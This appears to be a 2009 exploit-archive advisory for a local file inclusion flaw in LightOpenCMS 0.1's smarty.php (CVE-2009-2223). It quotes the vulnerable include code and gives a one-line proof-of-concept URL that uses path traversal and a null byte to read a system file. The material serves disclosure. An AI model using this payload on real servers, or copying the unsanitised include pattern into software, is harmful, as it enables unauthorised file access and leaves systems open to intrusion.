LightOpenCMS 0.1 (smarty.php cwd) Local File Inclusion Vulnerability

2009.06.28

Credit: JosS

Risk: Medium

Local: No

Remote: Yes

CVE: CVE-2009-2223

CWE: CWE-98

CVSS Base Score: 9.3/10

Impact Subscore: 10/10

Exploitability Subscore: 8.6/10

Exploit range: Remote

Attack complexity: Medium

Authentication: No required

Confidentiality impact: Complete

Integrity impact: Complete

Availability impact: Complete

LightOpenCMS 0.1 (smarty.php cwd) Local File Inclusion Vulnerability
bug found by Jose Luis Gongora Fernandez (a.k.a) JosS

contact: sys-project[at]hotmail.com
website: http://www.hack0wn.com/

- download: http://sourceforge.net/project/showfiles.php?group_id=251474

[smarty.php]
 define("SMARTY_DIR", $cwd."/smarty/");
 require_once(SMARTY_DIR."/Smarty.class.php");

PoC:
 [php.ini] register_globals= On
 http://localhost/locms/smarty.php?cwd=../../../../../../../../../../../../boot.ini%00

Greetz: YEnH4ckEr, str0ke and spanish hackers!

See this note in RAW Version

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LightOpenCMS 0.1 (smarty.php cwd) Local File Inclusion Vulnerability

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